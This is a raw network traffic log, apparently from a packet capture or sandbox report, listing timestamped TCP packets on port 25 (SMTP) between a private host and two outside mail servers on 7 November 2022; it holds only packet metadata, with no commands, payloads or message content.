Nov 7, 2022 22:24:45.613771915 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613787889 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613804102 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613820076 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613867998 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613884926 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613997936 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614027023 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614049911 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614073038 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614095926 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614113092 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614129066 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614237070 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614254951 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614305973 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614383936 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614399910 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614419937 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614440918 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614464998 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614484072 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614500046 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614515066 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614531040 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614548922 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614583969 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614631891 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614648104 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614664078 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614679098 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614694118 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614748001 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614785910 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614801884 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614818096 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614833117 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614847898 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614862919 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614959955 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.614976883 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.615032911 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.615050077 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.615066051 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.615081072 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.615094900 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.615147114 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.615164042 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.615180016 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.615238905 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.625202894 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.631289005 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.664402008 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.678191900 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.678227901 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.678378105 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.679567099 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.789978981 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.797256947 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:46.077011108 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:46.077227116 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:46.078851938 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:46.078995943 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:46.160427094 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:46.254386902 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.287036896 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.287193060 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.329169989 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.386986971 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.393399954 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:46.405877113 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:46.421736002 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.431304932 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.442015886 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:46.497411013 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.537468910 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.540664911 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.576519966 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.613989115 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.768857956 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:46.770220995 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.773612976 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.806343079 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.814805984 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.815035105 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.817905903 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.850605011 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.850641966 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.850682020 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.850706100 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.850758076 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.850783110 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.850801945 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.850838900 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.850838900 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.850860119 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.855375051 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.855442047 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.883506060 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883544922 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883562088 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883579016 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883595943 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883613110 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883630037 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883662939 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.883740902 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883759022 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883774042 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883790016 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883800983 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.883805990 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883821964 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883836985 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883838892 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.883838892 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.883852005 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883867025 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883883953 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883900881 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.883900881 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.883900881 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.883960009 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.883960009 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.888129950 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.888173103 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.888254881 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.888256073 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.916549921 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.916618109 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.916639090 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.916675091 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.916675091 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.916708946 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.916731119 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.916743040 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.916747093 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.916773081 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.916790962 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.916805029 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.916832924 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.916838884 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.916852951 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.916899920 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.916939974 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.916960001 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917000055 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917020082 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917026997 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917042971 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917076111 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917093992 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917105913 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917126894 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917155027 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917186022 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917192936 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917215109 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917241096 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917254925 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917273998 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917290926 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917295933 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917295933 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917308092 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917320013 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917325974 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917341948 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917344093 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917361975 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917366982 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917378902 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917387009 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917396069 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917412043 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917427063 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917428970 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917444944 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917462111 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917479992 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917483091 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917499065 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917507887 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917515993 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917526960 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917531967 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917551041 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917562962 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917567968 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.917597055 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.917623043 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.920929909 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.920955896 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.920972109 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.920990944 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.921016932 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.921071053 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.921071053 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.933231115 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:46.942816019 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:46.950721025 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950747967 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950761080 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950773954 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950784922 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950797081 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950808048 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950819969 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950830936 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950841904 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950841904 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.950841904 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.950856924 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950869083 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950895071 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950907946 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950918913 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950931072 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950942039 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950953960 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950964928 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950978041 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.950984955 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951004028 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951014996 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951026917 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951037884 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951039076 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951039076 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951049089 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951061010 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951073885 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951086044 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951097012 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951098919 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951098919 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951098919 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951108932 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951121092 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951133013 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951144934 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951145887 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951145887 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951145887 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951157093 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951168060 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951179981 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951191902 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951195955 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951195955 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951203108 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951214075 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951225042 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951236010 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951242924 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951242924 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951246977 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951278925 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951291084 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951303005 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951313972 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951313972 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951313972 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951324940 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951337099 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951349020 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951360941 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951370955 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951378107 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951381922 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951378107 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951378107 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951392889 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951405048 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951416016 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951426029 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951432943 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951436996 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951432943 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951447964 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951459885 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951472044 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951472998 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951472998 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951483011 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951494932 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951507092 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951505899 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.951519012 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951529980 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951539993 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951550961 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951561928 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951572895 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951585054 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.951595068 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.953495979 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.953511953 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.953522921 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.953533888 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.953583002 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.953594923 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.953643084 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.953691006 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984042883 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984076023 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984095097 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984113932 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984142065 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984144926 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:46.984160900 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984178066 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984203100 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984220982 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984236956 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984255075 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984271049 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984287977 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984303951 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984322071 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984338999 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984355927 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984374046 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984390020 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984407902 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984425068 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984441042 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984457970 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984474897 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984572887 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984590054 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984606981 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984623909 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984641075 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984658003 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984674931 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984811068 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984829903 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984846115 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984958887 CET	25	49802	142.250.147.27	192.168.2.5
